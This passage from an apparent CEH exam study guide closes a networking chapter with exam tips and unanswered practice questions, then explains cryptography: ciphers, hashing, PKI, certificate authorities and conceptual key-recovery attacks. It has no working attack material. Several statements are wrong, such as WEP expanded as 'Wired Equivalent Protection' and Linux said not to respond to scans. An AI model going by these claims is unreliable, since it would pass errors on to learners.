The OSI model is linear in design; data travels from one end to the other, and each layer
communicates with the next. The TCP/IP protocol suite is an updated and more
applicable framework. Protocols operate as either connection oriented or connectionless;
TCP is a connection-oriented protocol and uses the three-way-handshake (SYN, SYN-ACK,
ACK) in an effort to guarantee delivery.
Knowledge of subnetting—a sequential breakdown of IP addresses based on desired
network size and host quantity—and of common TCP/IP port numbers can aid you in
determining where to search first.
Routers work at layer 3 by directing packets and connecting different networks. Switches
create a collision domain for each port; broadcast domains allow traffic to be broadcast to
all connected nodes. Proxies work at the Application layer and can be used for caching and
filtering of web content. Proxy firewalls can be detailed in what they filter. A packetfiltering firewall looks only at the header of the packet; a stateful firewall verifies a
legitimate connection between client and host to prove that traffic is legitimate. IPSs are
active and work to prevent further damage when unauthorized activity is sensed on the
network. IDSs simply detect and report.
The main operating systems to be considered are Windows (easily the largest attack
surface), Mac OS, and Linux. Backups and archiving are both critical and detrimental to a
company’s operations. The three kinds of backup schemes are full, differential, and
incremental.
Exam Essentials
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Know the OSI model. Ensure that you have a good understanding of the OSI model
and what actions take place at each layer. It is also a good idea to have a general idea of
which common protocols operate at each layer.
Know the TCP/IP three-way handshake. Know what each flag does within the
handshake process: SYN (start), SYN-ACK (acknowledge start), ACK (acknowledge the
acknowledgment). Firmly understanding the handshake process will help in
understanding the basis for, and more easily identifying, potential attacks.
Memorize the ports. Absolutely know your ports! This is where memory does come
into play. Ports are important for the exam and especially for scanning and enumeration.
Remember that Windows systems respond to scans whereas Linux systems don’t.
Understand how switches work. Be sure to understand switch operation and know a
switch’s limitations in terms of sniffing (e.g., LAN connection isolated to the segment
attached to the specific switchport). Be familiar with ARP and what it accomplishes.
Know the purpose of firewalls, IDSs, and IPSs. Remember that IDSs are passive,
and IPSs are active.
Remember the benefits and weaknesses of backup schemes. Focus on the end
result of each type of backup, not on the details of how to perform one.
Review Questions
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1. At which layer of the OSI model does a proxy operate?
A. Physical
B. Network
C. Data Link
D. Application
2. If a device is using node MAC addresses to funnel traffic, what layer of the OSI model
is this device working in?
A. Layer 1
B. Layer 2
C. Layer 3
D. Layer 4
3. Which OS holds 90 percent of the desktop market and is one of our largest attack
surfaces?
A. Windows
B. Linux
C. Mac OS
D. iOS
4. Which port uses SSL to secure web traffic?
A. 443
B. 25
C. 23
D. 80
5. What kind of domain resides on a single switchport?
A. Windows domain
B. Broadcast domain
C. Secure domain
D. Collision domain
6. Which network topology uses a token-based access methodology?
A. Ethernet
B. Star
C. Bus
D. Ring
7. Hubs operate at what layer of the OSI model?
A. Layer 1
B. Layer 2
C. Layer 3
D. Layer 4
8. What is the proper sequence of the TCP three-way-handshake?
A. SYN-ACK, ACK, ACK
B. SYN, SYN-ACK, ACK
C. SYN-SYN, SYN-ACK, SYN
D. ACK, SYN-ACK, SYN
9. Which of these protocols is a connection-oriented protocol?
A. FTP
B. UDP
C. POP3
D. TCP
10. A scan of a network client shows that port 23 is open; what protocol is this aligned
with?
A. Telnet
B. NetBIOS
C. DNS
D. SMTP
11. What port range is an obscure third-party application most likely to use?
A. 1 to 1024
B. 1025 to 32767
C. 32768 to 49151
D. 49152 to 65535
12. Which category of firewall filters is based on packet header data only?
A. Stateful
B. Application
C. Packet
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D. Proxy
13. An administrator has just been notified of irregular network activity; what appliance
functions in this manner?
A. IPS
B. Stateful packet filtering
C. IDS
D. Firewall
14. Which topology has built-in redundancy because of its many client connections?
A. Token ring
B. Bus
C. Hybrid
D. Mesh
15. When scanning a network via a hardline connection to a wired-switch NIC in
promiscuous mode, what would be the extent of network traffic you would expect to
see?
A. Entire network
B. VLAN you are attached to
C. All nodes attached to the same port
D. None
16. What device acts as an intermediary between an internal client and a web resource?
A. Router
B. PBX
C. VTC
D. Proxy
17. Which technology allows the use of a single public address to support many internal
clients while also preventing exposure of internal IP addresses to the outside world?
A. VPN
B. Tunneling
C. NTP
D. NAT
18. What network appliance senses irregularities and plays an active role in stopping that
irregular activity from continuing?
A. System administrator
B. Firewall
C. IPS
D. IDP
19. You have selected the option in your IDS to notify you via email if it senses any
network irregularities. Checking the logs, you notice a few incidents but you didn’t
receive any alerts. What protocol needs to be configured on the IDS?
A. NTP
B. SNMP
C. POP3
D. SMTP
20. Choosing a protective network appliance, you want a device that will inspect packets at
the most granular level possible while providing improved traffic efficiency. What
appliance would satisfy these requirements?
A. Layer 3 switch
B. NAT-enabled router
C. Proxy firewall
D. Application firewall
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Chapter 3
Cryptography
CEH EXAM OBJECTIVES COVERED IN THIS CHAPTER:
III. Security
D. Cryptography
IV. Tools/Systems/Programs
C. Access control mechanisms
D. Cryptography techniques
V. Procedures/Methodology
A. Cryptography
B. Public key infrastructure (PKI)
This chapter covers cryptography, a topic and body of knowledge that
you will encounter over and over again during your career as a pentester, IT person, or
security manager. Having a firm grip of the technology and science is indispensable
because cryptography is critical in so many areas. This chapter covers the following
aspects of cryptography:
Applications of cryptography
Symmetric and asymmetric cryptography
Working with hashing
Purposes of keys
Types of algorithms
Key management issues
Cryptography is the body of knowledge that relates to the protection of information in all
its forms. Through the application of cryptography, you can safeguard the confidentiality
and maintain the integrity as well as the nonrepudiation and authentication of
information. Cryptography provides you with a means of keeping information away from
prying eyes and gives you a way to keep the same information intact from alteration. This
chapter focuses on cryptography and its application in the modern world, but first it
delves into some of the rich history of the science to give you a firm foundation on which
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you can build your knowledge.
The science of cryptography provides a unique set of abilities that have been around as
long as humans have wanted to share information with some but not with others.
Although technology, science, and computers have improved on the older methods, what
has remained a constant is the underlying goal of protecting information.
You may have opened this book with little or no knowledge of the technology, or you may
have a basic understanding. In either case, this chapter will get you where you need to be
for the CEH exam and will move cryptography out of the realm of secret agents, spies, and
puzzles and into the realm of practical applications and usage. You’ll learn about
something that is woven into the fabric of your everyday life—from the phone in your
pocket, to the computer on your lap, and even to that card you stick in the ATM or use to
charge dinner.
Before we get started, let me also take a moment to mention that an
understanding of cryptography is important not only to properly grasp certain
technology but also for legal reasons. If you work in or encounter businesses in the
financial, healthcare, or defense industries, for example, you will need to have a
command of cryptography as it is mandated (even down to acceptable algorithms and
strengths) in many environments. Choosing the wrong algorithm (even one that
works just as well but is not approved by regulations) can not only lead to a serious
security issue but could also result in legal action and financial penalties.
Cryptography: Early Applications and Examples
So what is cryptography? Why should you even care? I’ll see if I can answer these
questions by looking at the body of knowledge and exploring its depths. Cryptography
deals with protection and preservation of information in all its forms. This science has
evolved dramatically over time, but its underlying goal has never changed, even though
the tools have. As information has changed and human beings have gotten smarter, the
technology has become substantially more advanced to keep up with changing issues and
threats. If you look back in time and trace the evolution of the science up to the current
day, you’ll see that technology in the form of increasingly powerful computers has made
the process more complex and innovative as well as stronger.
In the field of cryptography, the topic of encryption gets by far the most attention and can
probably be said to be the “sexy” form of the art. Other techniques such as steganography
also belong in this field, but encryption is the one that attracts the most attention for
manipulating and protecting information. Also within the field of cryptography is
cryptanalysis, which deals with unlocking or uncovering the secrets that others try so
hard to hide or obscure. Cryptanalysis is an old science that has been around as long as
people have been trying to keep things secret.
History of Cryptography
I know you purchased this book not for history lessons but for information on how to
become an ethical hacker. Yet you can learn things by studying the history of
cryptography, which can help you relate to the techniques a little better. Early cultures
taught us that cryptography is simply a technique or group of techniques used to protect
information. The primitive techniques of times past may look antiquated and simple in
the face of today’s complex and mind-numbing technologies, but the basic concept has
not changed.
Cryptography is far from being a new technology and has existed for a very long time. The
story goes back at least 4,000 years, if not longer. Along the way, many different systems
have been developed, with some falling out of favor while others evolved into different
forms. Let’s look at some of the early applications of cryptography to demystify this topic
and make it more understandable.
Interestingly enough, if you go back far enough you’ll find that some older
cultures and civilizations found the practice of writing in code to be tantamount to
conversing with the devil or evil spirits. In fact, the practice in some parts of the
world was associated with nothing less than spiritual properties and frequently black
magic.
The intricate patterns and glyphs used in Egyptian hieroglyphics were commonly used for
spiritual and religious reasons. The ancient Egyptians were probably using the system not
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so much to withhold secrets but because they wanted a special writing system to
commune with their gods and eternity. It is believed that only members of the royal
family and the religious orders could fully understand how to read and write the system
and comprehend it fully.
We will never know for sure when the language died out, but we are
somewhat sure that the last individuals who could render it natively passed away
more than 1,500 years ago.
The pictograms served as a way to illustrate the life story of the deceased of royal and
noble descent. From what we can tell, the language was purposely controlled and
designed to be cryptic, to provide an air of mystery about it, and to inspire a sense of awe.
However, over time, the writing system became more complex; eventually the public and
those who could write the language either passed away or turned their interests to other
endeavors, and the ability to decipher the symbols was lost for a time. It wasn’t until the
middle of the eighteenth century that several attempts were made by Europeans to
uncover its secrets, which were perceived to be either mystical or scientific. The symbols,
despite the work of scholars, stubbornly held onto their secrets for many more years.
In 1799, a chance discovery in the sands of Egypt by the French Army uncovered
something that would be instrumental in decoding the language. The Rosetta stone was
the key that allowed modern civilization to understand a language that was nearly lost,
though it took over 20 years of concerted effort to reveal the language to the world once
again. Figure 3.1 shows the Rosetta stone, which is now kept in the British Museum.
Figure 3.1 The Rosetta stone
Cryptography and encryption are designed to keep information secret
through careful application of techniques that may or may not be reversed to reveal
the original message.
Tracing the Evolution
As with the ancient Egyptians and Romans, who used secret writing methods to obscure
trade or battle information and hunting routes, one of the most widely used applications
of cryptography is in the safeguarding of communications between two parties wanting to
share information. Guaranteeing that information is kept secret is one thing, but in the
modern world it is only part of the equation. In today’s world, not only must information
be kept secret, but provisions to detect unwelcome or unwanted modifications are just as
important. In the days of Julius Caesar and the Spartans, keeping a message secret could
be as simple as writing it in a language the general public didn’t, or wasn’t likely to,
understand. Later forms of encryption require that elaborate systems of management and
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security be implemented in order to safeguard information.
Is the body of knowledge relating to cryptography concerned only with protecting
information? Well, in the first few generations of its existence, the answer was yes, but
that has changed. The knowledge is now used in systems to authenticate individuals and
to validate the entity that sent a message or initiated an action to the receiving party.
Cryptography has even made some of the everyday technologies that you use possible.
One area that owes its existence to cryptography is e-commerce. E-commerce demands
the secure exchange and authentication of financial information. The case could be made
that e-commerce would not exist in anything resembling its current form without the
science of cryptography.
Another area that has benefited tremendously from the science of cryptography is mobile
technologies. The careful and thoughtful application of the science has led to a number of
threats such as identity theft being thwarted. Mobile technologies implement
cryptographic measures to prevent someone from duplicating a device and running up
thousands of dollars in fraudulent charges or eavesdropping on another party.
So what does the field focus on? Each of the following is a topic you need to understand
to put the tools and techniques in their proper context:
Confidentiality Confidentiality is the primary goal that encryption seeks to achieve.
Encryption is done to keep secret information from disclosure, away from prying eyes.
Under perfect conditions, encryption should be impossible to break or reverse unless an
individual possesses the correct key. Confidentiality is the more widely sought aspect of
encryption.
Integrity Cryptography can detect changes in information and thus prove its integrity or
original unmodified state. You’ll learn more about this in the section “Understanding
Hashing,” later in this chapter.
Authentication Cryptography allows a person, object, or party to be identified with a
high degree of confidence. Authentication is an essential component of a secure system
because it allows software and other things to be positively identified. A common scenario
for authentication nowadays is in the area of device drivers, where it provides a means of
having a driver signed and verified as coming from the actual vendor and not from some
other unknown (and untrusted) source. Authentication in the context of electronic
messaging provides the ability to validate that a particular message originated from a
source that is a known entity that, by extension, can be trusted.
Nonrepudiation The ability to provide positive identification of the source or originator
of an event is an important part of security.
Key Distribution One of the most valuable components of a cryptosystem is the key,
which is the specific secret combination or code used in a cryptographic function.
Cryptography in Action
You will encounter cryptography in many forms throughout this book. It is applied to
many different technologies and situations and, as such, is something you need to have a
firm grasp of.
Here are some examples of applied cryptography:
Public key infrastructure (PKI)
Digital certificates
Authentication
E-commerce
RSA
MD-5
Secure Hash Algorithm (SHA)
Secure Sockets Layer (SSL)
Pretty Good Privacy (PGP)
Secure Shell (SSH)
RSA is an asymmetric algorithm used for both encryption and
authentication that was invented by Ron Rivest, Adi Shamir, and Leonard Adleman.
The RSA algorithm is built into current operating systems by Microsoft, Apple, Sun,
and Novell. In hardware, the RSA algorithm can be found in secure telephones, on
Ethernet network cards, and on smart cards. RSA shares its name with the company
of the same name.
In many cases, encryption technologies are not only an important part of a technology or
system but also a required part that cannot be excluded. For example, e-commerce and
similar systems responsible for performing financial transactions typically will include
encryption technologies not only because of the protection it offers but also because it
makes legal sense to do so. Introducing encryption to a system does not ensure bulletproof security because it may still be compromised—but encryption does make hackers
work a little harder.
So How Does It Work?
Cryptography has many different ways of functioning. Before you can understand the
basic process, you must become familiar with some terminology. With this in mind, let’s
look at a few of the main terms used in the field of cryptography:
Plain Text/Clear Text Plain text is the original message. It has not been altered; it is
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the usable information. Remember that even though Caesar’s cipher operates on text, it is
but one form of plain text. Plain text can literally be anything.
Cipher Text Cipher text is the opposite of plain text; it is a message or other data that
has been transformed into a different format using a mechanism known as an algorithm.
It is also something that can be reversed using an algorithm and a key.
Algorithms Ciphers, the algorithms for transforming clear text into cipher text, are the
trickiest and most mysterious part of the encryption process. This component sounds
complex, but the algorithm or cipher is nothing more than a formula that includes
discrete steps that describe how the encryption and decryption process is to be performed
in a given instance.
Keys Keys are an important, and frequently complicated, item. A key is a discrete piece of
information, usually random in nature, that determines the result or output of a given
cryptographic operation. A key in the cryptographic sense can be thought of in the same
way a key in the physical world is: as a special item used to open or unlock something—in
this case, a piece of information. In the encryption world, a key is used to produce a
meaningful result and without it a result would not be possible.
The terms listed here are critical to understanding all forms of cryptography.
You’ll be seeing them again not only in this chapter but in later chapters as well. In
addition, a firm understanding of cryptography will go far in giving you a head start
in understanding many security technologies and concepts outside of the CEH exam.
Next, let’s look at the two major types of cryptography: symmetric and asymmetric (aka
public-key cryptography).
Symmetric Cryptography
Symmetric algorithms do some things really well and other things not so well. Modern
symmetric algorithms are great at all of the following:
Preserving confidentiality
Increased speed over many non-symmetric systems
Ensuring simplicity (relatively speaking, of course)
Providing authenticity
Symmetric algorithms have drawbacks in these areas:
Key management issues
Lack of nonrepudiation features
First, let’s focus on the defining characteristic of symmetric encryption algorithms: the
key. All algorithms that fit into the symmetric variety use a single key to both encrypt and
decrypt (hence the name symmetric). This is an easy concept to grasp if you think of a key
used to lock a gym locker as the same key used to unlock it. A symmetric algorithm works
exactly the same way: The key used to encrypt is the same one used to decrypt. Figure 3.2
shows the concept of symmetric encryption.
Figure 3.2 Symmetric encryption
Common Symmetric Algorithms
There are currently a myriad of symmetric algorithms available to you; a Google search
turns up an endless sea of alphabet soup of algorithms. Let’s look at some common
algorithms in the symmetric category:
Data Encryption Standard (DES) Originally adopted by the U.S. Government in 1977,
the DES algorithm is still in use today. DES is a 56-bit key algorithm, but the key is too
short to be used today for any serious security applications.
DES is still encountered in many applications but should never be chosen without very
careful consideration or the lack of other viable options.
Triple DES (3DES) This algorithm is an extension of the DES algorithm and is three
times more powerful than the DES algorithm. The algorithm uses a 168-bit key.
Triple DES, or 3DES, is very commonly used and is a component of many security
solutions including e-commerce and others.
Blowfish Blowfish is an algorithm that was designed to be strong, fast, and simple in its
design. The algorithm uses a 448-bit key and is optimized for use in today’s 32- and 64-bit
processors (which its predecessor DES was not). The algorithm was designed by
encryption expert Bruce Schneier.
International Data Encryption Algorithm (IDEA) Designed in Switzerland and
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made available in 1990, this algorithm is seen in applications such as the Pretty Good
Privacy (PGP) system (see the section “Pretty Good Privacy” later in this chapter).
The goal of the Advanced Encryption Standard (AES) competition,
announced in 1997, was to specify “an unclassified, publicly disclosed encryption
algorithm capable of protecting sensitive government information well into the next
century” (http://competitions.cr.yp.to/aes .html). The National Institute of
Standards and Technology (NIST) organized the AES competition.
RC2 Originally an algorithm that was a trade secret of RSA Labs, the RC2 algorithm crept
into the public space in 1996. The algorithm allows keys between 1 and 2,048 bits. The
RC2 key length was traditionally limited to 40 bits in software that was exported to allow
for decryption by the U.S. National Security Agency.
RC4 Another algorithm that was originally a trade secret of RSA Labs, RC4, was revealed
to the public via a newsgroup posting in 1994. The algorithm allows keys between 1 and
2,048 bits.
RC4 is notable for its inclusion in the Wired Equivalent Protection (WEP) protocol used
in early wireless networks.
RC5 Similar to RC2 and RC4, RC5 allows users to define a key length.
RC6 RC6 is another AES finalist developed by RSA Labs and supports key lengths of 128–
256 bits.
Rijndael or Advanced Encryption Standard (AES) This successor to DES was
chosen by the National Institute of Standards and Technology (NIST) to be the new U.S.
encryption standard. The algorithm is very compact and fast and can use keys that are
128-, 192-, or 256-bits long.
Rijndael was and is the name of the encryption algorithm submitted for consideration by
the U.S. Government as its new encryption standard. When the algorithm was selected, it
was renamed AES. While some may argue that Rijndael and AES are different, they are
for all intents and purposes the same.
Twofish This AES candidate, also developed by Bruce Schneier, supports key lengths of
128–256 bits.
Asymmetric, or Public Key, Cryptography
Asymmetric, or public key, cryptography is a relatively new form of cryptography that was
only fully realized in the mid-1970s by Whitfield Diffie and Martin Hellman. The new
system offered advantages, such as nonrepudiation and key distribution benefits, that
previous systems did not.
Public key systems feature a key pair made up of a public key and a private key. Each
person who participates in the system has two keys uniquely assigned to them. In
practice, the public key will be published in some location, whereas the private key will
remain solely in the assigned user’s possession and will never be used by anyone else
(lest security be compromised).
The concept of public key cryptography was intended as a way to
overcome the key management problems inherent in previous systems. In this
system, each user who is enrolled receives a pair of keys called the public key and the
private key. Each person’s public key is published, whereas the private key is kept
secret. By creating the keys this way, the need for a shared symmetric key is
eliminated. This option also secures the communication against eavesdropping or
betrayal. In addition, this system of generating keys provides a means of
nonrepudiation that is not possible with symmetric systems.
Both keys can be used to encrypt, but when either key is used only the other key can
reverse it. For example, if you were to encrypt a message with my public key, I would be
the only one who could decrypt it since I have the private key that can open it. The reverse
is true as well. Figure 3.3 shows a diagram of the asymmetric encryption process.
Figure 3.3 Asymmetric encryption
The only requirement is that public keys must be associated with their users in a trusted
manner. With PKI, anyone can send a confidential message by using public information,
although the message can be decrypted only with the private key in the possession of the
intended recipient. Furthermore, public key cryptography meets the needs for privacy and
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authentication.
How Does It Work?
We use the names Alice and Bob in our examples in this chapter. These
names are not randomly chosen, however. They are commonly used when referring
to the parties involved in any cryptographic transaction as an example.
In our example Alice wants to send a message to Bob and keep it secret at the same time.
To do so Alice will locate Bob’s public key and use it to encrypt her message. Once she
sends the message to Bob, he will use his private key to decrypt the message. No
intermediate party will be able to view the message since only one person, Bob, has the
means to decrypt it.
If the other key is used—the private key—then a process using digital signatures becomes
possible. Since anything encrypted with the private key can be reversed only with the
corresponding public key and only one person holds the private key, then the identity of
the encrypting party can be assured.
Signing an electronic message involves the following process: In our example Alice will
create a message and then perform a special type of mathematical computation against it;
then she will use her private key to complete the operation. If Bob receives the message,
he will simply retrieve Alice’s public key and use it to verify that the private key was used.
If the process can be reversed with the key, that means it came from Alice; if it can’t, then
it didn’t come from Alice.
A hash function is used in both creating and verifying a digital signature. A hash function
is an algorithm that creates a digital representation, or fingerprint, in the form of a hash
value or hash result of a standard length (which is usually much smaller than the
message but unique to it). Any change to the message invariably produces a different
hash result when the same hash function is used. In the case of a secure hash function,
known as a one-way hash function, it is not possible to derive the original message from
the hash value.
Hashing is a one-way process commonly used to validate the integrity of
information. A hash function generates a fixed-length value that is always the same
length no matter how large or small the data entering the process or algorithm
happens to be. Additionally, the resulting output is intended to be nonreversible or
very nearly impossible to reverse. The fixed-length value generated is unique for
every different input that enters the process. It is because of this unique property and
behavior that hashes are used to detect the alterations to data of any type.
To perform verification of the message, hashing is used as part of the digital signature
creation. When the message is received by the intended party or parties, the hashing
process is re-created and then compared to the one the original sender created. If the two
match, the message is verified as being unchanged because the hashes match. Figure 3.4
shows how the digital signature process works.
Figure 3.4 A digital signature in use
But How Do You Know Who Owns a Key?
How do you know a key belongs to a certain individual? Well, that’s where certificate
authorities (CAs) come into play. To bind a key pair to a specific signer, a CA will issue a
digital certificate, an electronic credential that is unique to a person, computer, or service.
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When a party is presented with the certificate, they can view the credential, inspect the
public key, and use it to verify the private key, or more accurately, anything that was
performed with the private key.
A certificate’s principal function is to bind a key pair with a particular
subscriber. The recipient of the certificate wants to verify that the digital signature
was created by the subscriber named in the certificate; to do so, they can use the
public key listed in the certificate to verify that the digital signature was created with
the corresponding private key.
The certificate is issued under certain conditions, and if those conditions are violated or
called into question, then the certificate must be revoked. If the user were to lose control
of the private key, the certificate would become unreliable, and the CA might revoke the
certificate.
A digital certificate is a cryptographically sealed object that is populated with various
pieces of information. Some of the items included on the digital credential are these:
Version
Serial number
Algorithm ID
Issuer
Validity
Not before
Not after
Subject
Subject public key info
Public key algorithm
Subject public key
The certificate is signed by generating a hash value and encrypting it with the issuer’s
private key. At this point if the certificate is altered—for example, if a party tries to replace
the public key—the certificate becomes invalid and the client should see a warning
indicating that. If a client possesses the issuer’s public key and trusts the issuer of the
key, then the client will assume the public key in the certificate checks out. For an
attacker to compromise the system, they would have to have access to either the private
key of the server or the private key of the issuer to successfully impersonate one of the
parties.
A digital certificate allows you to associate the public key with a particular service, such as
a web server, for use in e-commerce.
Authenticating the Certificate
A digital certificate complements or replaces other forms of authentication. A user who
presents the credential must have a method in place that allows the credential to be
validated. One such method is the CA. When you present a certificate to another party,
the credential is validated and allows the party or parties of a transaction to have their
identities confirmed. Once a series of steps is undertaken, secure communication or the
validation of items such as the digital signature can take place.
Enter the PKI System
A CA creates and revokes certificates that it has in its control along with the associated
public keys. A CA can be controlled by a company for its internal use or by a public entity
for use by any who wish to purchase a credential from the controlling party.
A CA is a trusted third party that is responsible for issuing, managing, identifying, and
revoking certificates as well as enrolling parties for their own certificates. The CA vouches
for the identity of the holder of any given certificate. A CA issues credentials to banks,
webmail, VPNs, smart cards, and many other entities. The CA gathers information,
validates, and issues a credential to the requesting party if everything checks out.
The CA will require a party to provide information that proves identity. Items such as
name, address, phone, physical data such as faxed records, and other records and personal
interviews might also be required as policy dictates. Once this information is obtained
and validated, the CA will issue the certificate or validate an existing certificate. A publicly
owned CA such as Thawte or VeriSign typically will perform a background check by asking
the requester to provide documentation such as a driver’s license, passport, or other form
of ID. Figure 3.5 shows the PKI system on a small scale.
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Figure 3.5 The PKI ecosystem
When a CA issues a certificate, a series of actions that you should know about takes place:
1. The request is received.
2. Background information is requested by the CA and validated.
3. The information provided by the requester is applied to the certificate.
4. The CA hashes the certificate.
5. The issuing CA signs the hashed certificate with their private key.
6. The requester is informed that their certificate is ready for pickup.
7. The requester installs the certificate on their computer or device.
8. The requester is able to confirm the validity of the certificate issuer by verifying the
issuer’s digital signature.
A CA is able to perform a number of roles in addition to the validation process outlined
here. Some actions that a CA is called on to perform include the following:
Generation of the Key Pair When a CA goes through the process of creating a
certificate, a key pair that is made up of a public key and a private key is generated. The
public key is made available to the public at large, whereas the private key is given to the
party requesting the digital certificate.
Generation of Certificates The CA generates digital certificates for any authorized
party when requested. This certificate is generated after validation of the identity of the
requesting party, as mentioned earlier.
Publication of the Public Key The public key is bound to each digital certificate.
Anyone who trusts the CA or requests the public key will get the key for their use.
Validation of Certificates When a certificate is presented by one party to another, it
must be validated. Since both parties involved typically do not know each other, they
must rely on a third party who is trusted; this is the role of the CA.
Revocation of Certificates If a certificate is no longer needed or trusted, it can be
revoked before it expires.
All CAs are not the same. The types of CAs are as follows:
Root CA The root CA initiates all trust paths. The root CA is the top of the food chain and
thus must be secured and protected; if its trust is called into question, all other systems
and subsequently generated certificates will become un-trustable.
Trusted Root CA A trusted root CA is a CA that’s added to an application such as a
browser by the software vendor. It signifies that the application vendor trusts the CA and
assigns the entity a high level of trust.
Peer CA The peer CA provides a self-signed certificate that is distributed to its certificate
holders and used by them to initiate certification paths.
Subordinate CA A subordinate CA does not begin trust paths. Trust initiates from a root
CA. In some deployments, a subordinate CA is referred to as a child CA.
Registration Authority (RA) The RA is an entity positioned between the client and the
CA that is used to support or offload work from a CA. Although the RA cannot generate a
certificate, it can accept requests, verify a person’s identity, and pass along the
information to the CA that will perform the actual certificate generation. RAs are usually
located at the same level as the subscribers for which they perform authentication.
Building a PKI Structure
Now that you understand what CAs and digital certificates are, let’s build a public-key
infrastructure (PKI) system. The term does not refer to a single technology but rather a
group of technologies and concepts that work together as a unit to accomplish the tasks
we described earlier. PKI is designed to validate, issue, and manage certificates on a large
scale. The system is simply a security architecture that you can use to provide an
increased level of confidence for exchanging information over an insecure medium.
Any systems that interact with this system must be PKI aware, but that is a common
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feature in today’s environment. A PKI-aware application is any application that knows
how to interact with a PKI system. Most applications have this ability, including web
browsers, email applications, and operating systems. All these applications offer the
ability to interact with the system described in this chapter and do so transparently.
When working with PKI, understand that what’s tying the whole system together is trust.
Trust is absolutely important because without it the system falls apart pretty quickly.
Putting all the building blocks together, it is possible to see the whole process of creating
a digital signature. Digital signatures make use of several types of encryption such as
asymmetric, public and private key encryption, and hashing. By combining these
cryptographic functions, you can provide authentication of a message or digital item. Let’s
look at each component:
Digital Certificates Certificates are an essential component in the creation of a digital
signature. Remember earlier when I said that a public key is bound to a digital certificate?
This configuration pays off here. The digital certificate tells a requester of the public key
that it belongs to a specific party and, by extension, it is the companion of the private key.
Hashing This is the algorithm that lets you know whether or not an item has been
altered. The hash essentially tells the receiver that the document existed in a certain state
when it was sent, and if the hash no longer matches, then the information should not be
trusted. You’ll learn more about this topic in the next section.
Understanding Hashing
Simply put, hashing can be considered a type of one-way encryption. More accurately, it is
a process that creates a scrambled output that cannot be reversed—or at least cannot be
reversed easily. The process of hashing takes plain text and transforms it into cipher text
but does so in such a way that it is not intended to be decrypted. The process outputs
what is known as a hash, hash value, or message digest. Figure 3.6 shows a hash created
from the input “Hello World.”
Figure 3.6 Hash generated from “Hello World” using MD5
Designed to be a one-way process, hashing is commonly used to validate the integrity of
information. A hash function generates a fixed-length value that is always the same
length no matter how large or small the data entering the process or algorithm is. The
resulting output, as we already discussed, is intended to be nonreversible or very nearly
impossible to reverse. The fixed-length value is unique for every different input that
enters the process. It is because of this unique property and its behavior that hashes are
used to detect the changes that can happen in data of any type.
Hashing lets you easily detect changes in information: Anything that is hashed and then
changed, even a small amount, will result in an entirely different hash from the original.
Hashed values are the result of information being compressed into the fixed-length value.
A one-way hash function is also known as a thumbprint.
The following is a list of hashing algorithms currently in use:
Message Digest 2 (MD2) A one-way hash function used in the privacy-enhanced mail
(PEM) protocols along with MD5.
Message Digest 4 (MD4) A one-way hash function used for PGP and other systems.
MD4 has been replaced by MD5 in most cases.
Message Digest 5 (MD5) An improved and redesigned version of MD4 that produces a
128-bit hash. MD5 is still extremely popular in many circles, but it is being phased out
due to weaknesses that have led to the system being vulnerable. In many cases, MD5 has
been replaced with SHA2.
Message Digest (MD6) A hashing algorithm that was designed by Ron Rivest.
HAVAL A variable-length, one-way hash function and modification of MD5. The name is
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derived from the phrase “hash algorithm of variable length.”
RIPE-MD A hashing algorithm commonly used in Europe.
Secure Hash Algorithm-0 (SHA-0) Used prior to SHA-1, it has since been replaced by
SHA-1 and even SHA-2.
Secure Hash Algorithm-1 (SHA-1) One of the other more commonly used hashing
algorithms. It has been compromised and is being replaced by SHA-2.
Secure Hash Algorithm-2 (SHA-2) Designed to be an upgrade to SHA-1, SHA-2
identifies the range of hash lengths above SHA-1 (SHA-224, SHA-256, SHA-384, SHA-512,
SHA-512/224, and SHA-512/256).
Let’s look at an example of the hashing process. Say you have two parties, Sean and Zelda.
Sean is the sender of the message and Zelda is the receiver:
1. Sean creates a message.
2. Sean hashes the message using an algorithm such as MD5 or SHA2.
3. Sean encrypts the hash with his private key.
4. Sean binds the encrypted bundle and the plaintext message together.
5. Sean sends the combination to Zelda.
6. Zelda sees that the message came from Sean.
7. Seeing who the sender is, Zelda retrieves Sean’s public key from the CA they both
trust.
8. Zelda decrypts the encrypted hash value; it decrypts successfully, thus validating the
identity of the sender (Sean).
9. After the hash is decrypted, Zelda reruns the MD5 algorithm against the plaintext
message and compares the new hash with the one she received from Sean.
10. If the two hashes match, the message has not been altered since Sean signed it.
Issues with Cryptography
Much like any system that will be explored in this text, cryptography has its faults and
potential attacks. Attacks are designed to leverage weaknesses in both implementation
and logic in many cases. However, one thing that you should always keep in mind is that
no matter how strong or well designed a system may be, it will always be vulnerable to
those with enough computing power, time, and determination.
Cryptographic systems are all vulnerable to what is known as a brute-force
attack. In such an attack, every possible combination of characters is tried in an
attempt to uncover a valid key. This type of attack can take an extremely long time to
be successful, depending on the cryptosystem and key length being targeted.
The first type of attack we’ll look at is the one most commonly seen in movies, books, and
other media: the brute-force attack. A brute-force attack works by trying every possible
combination of codes, symbols, and characters in an effort to find the right one. DES is
vulnerable to brute-force attacks, whereas Triple-DES encryption is very resistant to
brute-force attacks because of the time and power involved to retrieve a key; see Table 3.1.
Table 3.1 Cracking times for 40- and 56-bit keys
Budget
40-bit Key
56-bit Key
Regular user
1 week
40 years
Small business
12 minutes
556 days
Corporation
24 seconds
19 days
Large multinational 0.005 seconds 6 minutes
Government
0.0002 seconds 12 seconds
In addition to a brute-force attack, other methods designed to recover a key include the
following:
Cipher-Text-Only Attack The attacker has some sample of cipher text but lacks the
corresponding plain text or the key. The goal is to find the corresponding plain text in
order to determine how the mechanism works. Cipher-text-only attacks tend to be the
least successful based on the fact that the attacker has very limited knowledge at the
outset.
Known Plaintext Attack The attacker possesses the plain text and cipher text of one or
more messages. The attacker will then use this acquired information to determine the key
in use. This attack shares many similarities with brute-force attacks.
Chosen Plaintext Attack The attacker is able to generate the corresponding cipher text
to deliberately chosen plain text. Essentially, the attacker can feed information into the
encryption system and observe the output. The attacker may not know the algorithm or
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the secret key in use.
Chosen Cipher-Text Attack The attacker is able to decrypt a deliberately chosen cipher
text into the corresponding plain text. Essentially, the attacker can feed information into
the decryption system and observe the output. The attacker may not know the algorithm
or the secret key in use.
Another type of successful attack involves not even cracking the key but simply recording
some traffic and replaying it later. This type of attack requires that the attacker record
network traffic through sniffing and then retransmit the information later or extract the
key from the traffic.
Another related attack is the man-in-the-middle (MITM) attack, which is carried out
when the attacker gets between two users with the goal of intercepting and modifying
packets. Consider that in any situation in which attackers can insert themselves in the
communications path between two users, the possibility exists that the information can
be intercepted and modified.
Do not forget that social engineering can be effective in attacking cryptographic systems.
End users must be trained to protect sensitive items such as private cryptographic keys
